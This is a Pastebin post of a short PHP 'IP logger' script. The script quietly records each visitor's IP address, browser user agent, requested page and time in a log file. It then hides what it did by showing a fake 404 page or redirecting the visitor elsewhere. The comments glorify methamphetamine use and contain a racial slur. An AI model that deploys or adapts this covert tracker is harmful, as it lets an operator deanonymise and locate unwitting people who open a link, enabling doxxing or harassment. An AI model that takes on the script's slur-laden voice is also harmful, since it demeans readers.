Advertisement
quinlanthegod

[PHP] Iplogger made on meth

May 17th, 2018
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.68 KB | None | 0 0
  1. <?php
  2.  
  3. #I LOVE CRYSTAL METH
  4. #BlueLight: ibetweakin
  5.  
  6. #### EDIT THIS NIGGA ####
  7. $logfile = 'logaz.txt';
  8. $redir = True;
  9. $redirurl = "http://fbi.gov/";
  10. ############STOP EDIT############
  11.  
  12. $date = date('l jS \of F Y h:i:s A');
  13. $ip = $_SERVER['REMOTE_ADDR'];
  14. $browser = $_SERVER['HTTP_USER_AGENT'];
  15. $url = $_SERVER['REQUEST_URI'];
  16.  
  17. #echo "$ip , $browser , $url , $date"; #This is way too obvious if no redirect
  18.  
  19. file_put_contents($logfile, "Got eeem ==> : Ip: $ip , browser: $browser , Page : $url | $date \r\n
  20. \r\n", FILE_APPEND);
  21.  
  22. if ($redir !== True){
  23.     echo "<h1> 404 </h1><br> The Page You are looking for can not be found";
  24. }
  25. else{
  26.     header('Location: '.$redirurl);
  27. }
  28. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement